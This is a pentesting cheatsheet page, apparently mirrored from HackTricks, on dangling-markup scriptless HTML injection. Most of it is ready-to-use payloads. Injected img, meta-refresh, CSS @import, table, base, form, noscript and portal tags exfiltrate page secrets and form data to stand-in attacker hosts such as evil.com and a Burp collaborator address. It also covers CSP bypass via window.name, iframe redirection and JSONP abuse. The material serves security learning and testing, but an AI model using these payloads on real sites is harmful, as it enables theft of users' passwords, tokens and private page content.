daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (13207B)


      1 ---
      2 title: "Dangling Markup - HTML scriptless injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/dangling-markup-html-scriptless-injection/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Dangling Markup - HTML scriptless injection
     14 
     15 ## Summary
     16 
     17 This technique can extract information from a user's page when **HTML injection** is possible but direct [**XSS**](../xss-cross-site-scripting/index.html) is not. It is useful when a **secret appears in clear text** later in the HTML or when injected markup can disrupt an existing script workflow.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[3]](#references)</sup>
     18 
     19 Several techniques commented here can be used to bypass some [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).
     20 
     21 ## Main Applications
     22 
     23 ### Stealing clear text secrets
     24 
     25 If you inject `<img src='http://evil.com/log.cgi?`, the browser may append the HTML through the next matching quote to the requested URL. If that captured chunk contains a secret, it is sent to the attacker's server. Test both single- and double-quoted variants because the surrounding markup determines where capture ends.<sup>[[2]](#references)</sup><sup>[[3]](#references)</sup>
     26 
     27 If the `img` tag is forbidden (due to CSP for example) you can also use `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
     28 
     29 ```html
     30 <img src='http://attacker.com/log.php?HTML=
     31 <meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
     32 <meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
     33 ```
     34 
     35 Note that **Chrome blocks HTTP URLs** with "<" or "\n" in it, so you could try other protocol schemes like "ftp".
     36 
     37 You can also abuse CSS `@import` (will send all the code until it find a ";")
     38 
     39 ```html
     40 <style>@import//hackvertor.co.uk?     <--- Injected
     41 <b>steal me!</b>;
     42 ```
     43 
     44 You could also use **`<table`**:
     45 
     46 ```html
     47 <table background='//your-collaborator-id.burpcollaborator.net?'
     48 ```
     49 
     50 You could also insert a `<base` tag. All the information will be sent until the quote is closed but it requires some user interaction (the user must click in some link, because the base tag will have changed the domain pointed by the link):
     51 
     52 ```html
     53 <base target='        <--- Injected
     54 steal me'<b>test</b>
     55 ```
     56 
     57 ### Stealing forms
     58 
     59 ```html
     60 <base href="http://evil.com/" />
     61 ```
     62 
     63 Then, the forms that send data to path (like `<form action='update_profile.php'>`) will send the data to the malicious domain.
     64 
     65 ### Stealing forms 2
     66 
     67 Set a form header: `<form action='http://evil.com/log_steal'>` this will overwrite the next form header and all the data from the form will be sent to the attacker.
     68 
     69 ### Stealing forms 3
     70 
     71 The button can change the URL where the information of the form is going to be sent with the attribute "formaction":
     72 
     73 ```html
     74 <button name="xss" type="submit" formaction="https://google.com">
     75   I get consumed!
     76 </button>
     77 ```
     78 
     79 An attacker can use this to steal the information.
     80 
     81 Find an [**example of this attack in this writeup**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).<sup>[[5]](#references)</sup>
     82 
     83 ### Stealing clear text secrets 2
     84 
     85 Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field:
     86 
     87 ```html
     88 <input type='hidden' name='review_body' value="
     89 ```
     90 
     91 and this input field will contain all the content between its double quote and the next double quote in the HTML. This attack mix the "_**Stealing clear text secrets**_" with "_**Stealing forms2**_".
     92 
     93 You can do the same thing injecting a form and an `<option>` tag. All the data until a closed `</option>` is found will be sent:
     94 
     95 ```html
     96 <form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
     97 ```
     98 
     99 ### Form parameter injection
    100 
    101 You can change the path of a form and insert new values so an unexpected action will be performed:
    102 
    103 ```html
    104 <form action="/change_settings.php">
    105   <input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
    106 
    107   <form action="/change_settings.php">
    108     ← Existing form (ignored by the parser) ...
    109     <input type="text" name="invite_user" value="" /> ← Subverted field ...
    110     <input type="hidden" name="xsrf_token" value="12345" />
    111     ...
    112   </form>
    113 </form>
    114 ```
    115 
    116 ### Stealing clear text secrets via noscript
    117 
    118 `<noscript></noscript>` Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript)).
    119 
    120 A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this:
    121 
    122 ```html
    123 <noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
    124 ```
    125 
    126 ### Bypassing CSP with user interaction
    127 
    128 From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**.<sup>[[4]](#references)</sup> In this occasion we are going to use the payload:
    129 
    130 ```html
    131 <a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
    132 <base target='
    133 ```
    134 
    135 Note that you will ask the **victim** to **click on a link** that will **redirect** him to **payload** controlled by you. Also note that the **`target`** attribute inside the **`base`** tag will contain **HTML content** until the next single quote.\
    136 This will make that the **value** of **`window.name`** if the link is clicked is going to be all that **HTML content**. Therefore, as you **control the page** where the victim is accessing by clicking the link, you can access that **`window.name`** and **exfiltrate** that data:
    137 
    138 ```html
    139 <script>
    140   if(window.name) {
    141       new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
    142 </script>
    143 ```
    144 
    145 ### Misleading script workflow 1 - HTML namespace attack
    146 
    147 Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script. In this example you are selecting with whom a information is going to be shared:
    148 
    149 ```html
    150 <input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
    151 Share this status update with: ← Legitimate optional element of a dialog
    152 <input id="share_with" value="" />
    153 
    154 ... function submit_status_update() { ... request.share_with =
    155 document.getElementById('share_with').value; ... }
    156 ```
    157 
    158 ### Misleading script workflow 2 - Script namespace attack
    159 
    160 Create variables inside javascript namespace by inserting HTML tags. Then, this variable will affect the flow of the application:
    161 
    162 ```html
    163 <img id="is_public" /> ← Injected markup ... // Legitimate application code
    164 follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
    165 The subsequent assignment fails in IE is_public = true; else is_public = false;
    166 } function submit_new_acls() { ... if (is_public) request.access_mode =
    167 AM_PUBLIC; ← Condition always evaluates to true ... }
    168 ```
    169 
    170 ### Abuse of JSONP
    171 
    172 If you find a JSONP interface you could be able to call an arbitrary function with arbitrary data:
    173 
    174 ```html
    175 <script src='https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//editor/sharing.js'>:              ← Legitimate script
    176   function set_sharing(public) {
    177     if (public) request.access_mode = AM_PUBLIC;
    178       else request.access_mode = AM_PRIVATE;
    179     ...
    180   }
    181 
    182 <script src='https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//search%3Fq%3Da%26call%3Dset_sharing'>:    ← Injected JSONP call
    183   set_sharing({ ... })
    184 ```
    185 
    186 Or you can even try to execute some javascript:
    187 
    188 ```html
    189 <script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//search%3Fq%3Da%26call%3Dalert%281%29"></script>
    190 ```
    191 
    192 ### Iframe abuse
    193 
    194 A child document possesses the capability to view and modify the `location` property of its parent, even in cross-origin situations. This allows the embedding of a script within an **iframe** that can redirect the client to an arbitrary page:
    195 
    196 ```html
    197 <html>
    198   <head></head>
    199   <body>
    200     <script>
    201       top.window.location = "https://attacker.com/hacked.html"
    202     </script>
    203   </body>
    204 </html>
    205 ```
    206 
    207 This can be mitigated with something like: `sandbox=' allow-scripts allow-top-navigation'`
    208 
    209 An iframe can also be abused to leak sensitive information from a different page **using the iframe name attribute**. This is because you can create an iframe that iframes itself abusing the HTML injection that makes the **sensitive info appear inside the iframe name attribute** and then access that name from the initial iframe and leak it.
    210 
    211 ```html
    212 <script>
    213   function cspBypass(win) {
    214     win[0].location = "about:blank"
    215     setTimeout(() => alert(win[0].name), 500)
    216   }
    217 </script>
    218 
    219 <iframe
    220   src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
    221   onload="cspBypass(this.contentWindow)"></iframe>
    222 ```
    223 
    224 For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)<sup>[[6]](#references)</sup>
    225 
    226 ### \<meta abuse
    227 
    228 You could use **`meta http-equiv`** to perform **several actions** like setting a Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` or performing a redirect (in 5s in this case): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
    229 
    230 This can be **avoided** with a **CSP** regarding **http-equiv** ( `Content-Security-Policy: default-src 'self';`, or `Content-Security-Policy: http-equiv 'self';`)
    231 
    232 ### New \<portal HTML tag
    233 
    234 You can find detailed **research** on exploitable vulnerabilities of the \<portal tag in [this archived article](https://web.archive.org/web/20260000000000id_/https://research.securitum.com/security-analysis-of-portal-element/).<sup>[[7]](#references)</sup>\
    235 At the moment of this writing you need to enable the portal tag on Chrome in `chrome://flags/#enable-portals` or it won't work.
    236 
    237 ```html
    238 <portal src='https://attacker-server?
    239 ```
    240 
    241 ### HTML Leaks
    242 
    243 Not every HTML connectivity leak works as dangling markup, but the HTTPLeaks corpus contains additional elements and attributes worth testing.<sup>[[8]](#references)</sup>
    244 
    245 ## SS-Leaks
    246 
    247 This is a **mix** between **dangling markup and XS-Leaks**. From one side the vulnerability allows to **inject HTML** (but not JS) in a page of the **same origin** of the one we will be attacking. On the other side we won't **attack** directly the page where we can inject HTML, but **another page**.
    248 
    249 
    250 [Ss Leaks](/hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks)
    251 
    252 ## XS-Search/XS-Leaks
    253 
    254 XS-Search techniques **exfiltrate cross-origin information through side channels**. They differ from dangling markup, although some also abuse injected HTML tags—with or without JavaScript—such as [**CSS Injection**](../xs-search/index.html#css-injection) or [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading).
    255 
    256 
    257 [Xs Search](/hacktricks/pentesting-web/xs-search/overview)
    258 
    259 ## Brute-Force Detection List
    260 
    261 
    262 [Dangling Markup.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/dangling-markup-html-scriptless-injection/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt)
    263 
    264 ## References
    265 
    266 - [1] [Content Spoofing? Yes, HTML injection!](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
    267 - [2] [lcamtuf: Post-XSS Exploitation](http://lcamtuf.coredump.cx/postxss/)
    268 - [3] [The Spanner: HTML scriptless attacks](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
    269 - [4] [PortSwigger Research: Evading CSP with DOM-based dangling markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
    270 - [5] [PortSwigger Research: Stealing passwords from infosec Mastodon without bypassing CSP](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)
    271 - [6] [PortSwigger Research: Bypassing CSP with dangling iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
    272 - [7] [Securitum: Security analysis of the portal element (archived)](https://web.archive.org/web/20260000000000id_/https://research.securitum.com/security-analysis-of-portal-element/)
    273 - [8] [cure53 HTTPLeaks test corpus](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)